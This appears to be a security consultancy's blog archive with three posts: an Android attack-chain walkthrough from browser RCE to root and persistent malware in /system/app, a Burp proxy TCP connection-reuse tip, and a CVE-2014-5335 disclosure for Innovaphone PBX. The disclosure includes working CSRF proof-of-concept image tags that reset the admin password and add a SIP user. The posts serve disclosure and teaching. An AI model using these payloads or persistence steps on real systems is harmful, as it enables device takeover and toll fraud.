Donnerstag, 31. März 2016

Android Apps: From Simple Vulnerabilities to Permanent Malware Infection


Many people underestimate the possibilities a remote attacker has who managed to exploit a remote code execution vulnerability on Android devices.

On Windows systems, it is widely accepted that a vulnerability in one software can lead to the compromise of other software and, ultimately, to the infection of the whole system. The same is, in fact, also possible for Android, even though many people believe the attacker would be confined to the vulnerable app's context (in the Android file system and UID/GID sandboxing sense).

In this blog post we will show how a vulnerability in one single app can lead to the permanent (and virtually irreversible) infection of an Android device with malware. To this end we will walk the reader through the single steps that lead from a vulnerability in a third-party browser to full remote control with root provileges of the device and permanent infection with malware.


The steps are roughly as follows:
  1. The victim of the attack has a vulnerable app with a remote code execution vulnerability installed.
  2. The attacker exploits the vulnerability remotely.
  3. The attacker uploads a root exploit and a malicious app to the victim's smartphone.
  4. The attacker triggers execution of the root exploit.
  5. The root exploit installs the attacker's malware.

Some readers may be thinking now: Wait, this is no rocket science. And you are right, this isn't rocket science! It is a typical sequence of attack steps that lead from initial compromise over privilege escalation to permanent infection. The purpose of this blog post is to show how this can be done in practice by walking the reader through the steps.

The Attack

Step 1: Getting a Foot in the Door

Once in a while remote code execution vulnerabilities pop up in Android apps. They enable an attacker to run their own code in the context of the vulnerable app. A famous recent example for this are the StageFright vulnerabilities. For this blog post however, we will exploit the addJavaScriptInterface vulnerability [1] - one that can be found in some apps that render web content, for example browsers. For this vulnerability to be exploited, the victim only needs to navigate to a website that contains malicious code. This can happen for a number of reasons:
  • The victim opened a malicious link he received via email, instant message, SMS, on a social network...
  • The victim is in a WiFi and subject to a man in the middle attack during which the attacker injects the exploit code into active connections.
  • The attacker manages to deliver exploit code on benign websites through advertising networks.
  • The attacker exploits a vulnerability in a web server to include his own code in the website, e.g. through persistent XSS or SQL injection.
If an attacker manages any of the above, he is able to hijack the vulnerable app's process and execute his own code - for example a remote shell.

For now however, this remote shell will only have the same access the vulnerable app has. Let's change that!

Step 2: Uploading a Root Exploit and Payload

Now that the attacker has a remote shell he can upload files to the vulnerable app's working directory, for example root exploits:

Step 3: Execution of the Root Exploit

Trivially, the attacker can now execute the root exploit to gain root privileges:

Step 4: Infection of the Device

The attacker now has two options to infect the device: A simpler one, which will install the attacker's malware as a regular app (which the victim would be able to uninstall). The second one is a bit more evil: Without rooting their device the victim will be completely incapable of removing the attacker's malware.

The first option is very straightforward. After uploading his malware, the attacker will now issue this command in his root shell:

This will perform a regular app installation.

The second option first remounts the /system partition as writable (usually, it is only readable). Then, it writes the malware to /system/app. This folder contains system and preinstalled apps. Now, the attacker can remount the /system partition as read-only and finally reboot the system, which will trigger an "installation" of the attacker's malware:

Step 5: The End

That's it. The attacker managed to place an app in /system/app silently, without the user noticing. The attacker can thus use almost any Android permissions which exist and the victim will be completely incapable of uninstalling the app. The victim has silently been infected with (almost) unremovable malware which now has widespread privileges on the system. In fact by using the root exploit utilized before, the app can maintain permanent root access.

Of course this whole process can also be automated.


Mobile devices and their vulnerabilities are underestimated, when in fact they can just be as dangerous as typical Windows software vulnerabilities. They exploited and leveraged for permanent, silent infection with malware just like their desktop counterparts.



Freitag, 19. Juni 2015

Burp and TCP Connection Reuse / TCP Streaming

Recently we were working on an engagement to test a fat client using a web service and ran into a problem with Burp. Surprisingly enough, there was not a single resource on the Internet to help us out. Hoping that others dealing with the same issue won't lose their sanity like we almost did, I am writing this blog post now ;)

We were trying to test a web application, or rather a client application (a binary!) communicating with a web service built on top of an HTTP REST API, with Burp as a transparent/invisible proxy in between. For some completely unknown reason, when Burp was between the client software and the server, the client application just refused to log in.

A comparison of HTTP requests and responses showed no difference at all (except for session cookies set by the server during Step 2 of a 3-step login process). In other words: On application layer (i.e. HTTP), packets and communication were completely identical between client and server, both when connecting through Burp or directly through the Internet. Still, logging in did not work when Burp was active even though HTTP requests and responses were identical.

By accident, when following TCP streams in Wireshark while debugging this problem, we discovered the reason: TCP connection reuse. HTTP 1.1 allows for one TCP connection to be reused for multiple HTTP requests and responses. Burp, however, follows a Store, Modify and Forward model which initiates a new TCP connection for each proxied HTTP request. In other words: A different connection model than what the client application assumed for communication with the server, which assumed one TCP connection for three requests and responses.

The workaround for the problem was activating Streaming Responses in Burp for the target host. Streaming Responses were introduced for a different use case, but still solved our problem. Cf. the following screenshot:

So, in case you ever bump into problems with Burp as a transparent/invisible proxy and can't figure out why, have a look if the application is reusing one TCP connection for many HTTP requests and try activating Streaming Responses in Burp. This allows Burp to deal with TCP connection reuse for multiple HTTP requests/responses.

That's it folks!

Donnerstag, 21. August 2014

[CVE-2014-5335] CSRF in Innovaphone PBX

Innovaphone PBX Admin-GUI CSRF

Impact: High
CVSS2 Score: 7.8 (AV:N/AC:M/Au:S/C:P/I:C/A:C/E:F/RL:U/RC:C)
Announced: August 21, 2014
Reporter: Rainer Giedat (NSIDE ATTACK LOGIC GmbH,
Products: Innovaphone PBX Administration GUI
Affected Versions: all known versions (tested 10.00 sr11)
CVE-id: CVE-2014-5335


The innovaphone PBX is a powerful and sophisticated VoIP telephone system for use in professional business environments. In addition to a wide range of IP telephony functionalities, the innovaphone PBX is also equipped with a perfectly integrated Unified Communications solution that can be enabled as needed at any time and at any workspace.

The innovaphone PBX uses a web-based user interface. This UI is vulnerable to cross-site request forgery attacks (CSRF).


The UI does not check if a request was sent originating from a page it delivered before or from an untrusted and potentially malicious source. With a CSRF attack a malicious third party is able to change any configurable items from remote if an administrator is logged in to the user interface and visits a malicious website or clicks a manipulated link under the control of the attacker.

The lack of a logout mechanism and the use of the digest authentication scheme increases the probability of successful exploitation, because the user session will never expire automatically.


The attacker has full control over the innovaphone PBX and is able to manipulate every configuration item and user account data, as well as passwords. This can lead to the redirection of phone calls, denial of service and toll fraud by adding new SIP endpoints.

Proof on Concept

Visiting a web page including the following HTML image tag will change the administrator’s password of the innovaphone PBX to 'hacked':

<img src="http://<<PBX>>/CMD0/mod_cmd.xml?cmd=form&redirect=mod_cmd.xml%3Fxsl%3Dcommand.xsl&name=&user=admin&password=hacked&password2=hacked&help=&add.user=&add.pwd=&add.pwd2=&add.level=0&add.end=&kdc.realm=&kdc.address1=&kdc.port1=&kdc.adminport1=&kdc.address2=&kdc.port2=&kdc.adminport2=&kdc.end=&op=OK"></img>

Visiting a web page including the following image will add a new SIP user:

<img src="http://<<PBX>>/PBX0/ADMIN/mod_cmd_login.xml?cmd=submit-object&xsl=pbx_edit_user.xsl&tab-active=&guid=&repsrc=&search-grp=&text=&cn=Hans+Dampf&dn=Hans+Dampf&h323=Hans+Dampf&e164=666&email=&pwd=hans&pwd1=hans&node=root&loc=Opfer&fake=&obj-url=&gi=&config=&no-devs=update&dev1.hw=&dev1.text=&dev1.admin=on&"></img>


Innovaphone recommends to use a dedicated browser only for administration tasks regarding the PBX and close all browser instances when administration is done.
More information can be found on the closed support wiki of innovaphone:

This workaround makes sucessful exploitation harder, but an attacker may still be able to use special protocol-handlers to open URLs in different browsers.

No fix will be provided, since the vendor considers this to be a browser problem.


2014-22-07    Bug found
2014-28-07    Vendor contact
2014-29-07    Vendor reply
2014-29-07    Technical details provided
2014-13-08    Vendor does not plan to patch for now, but provided a workaround
2014-21-08    Public release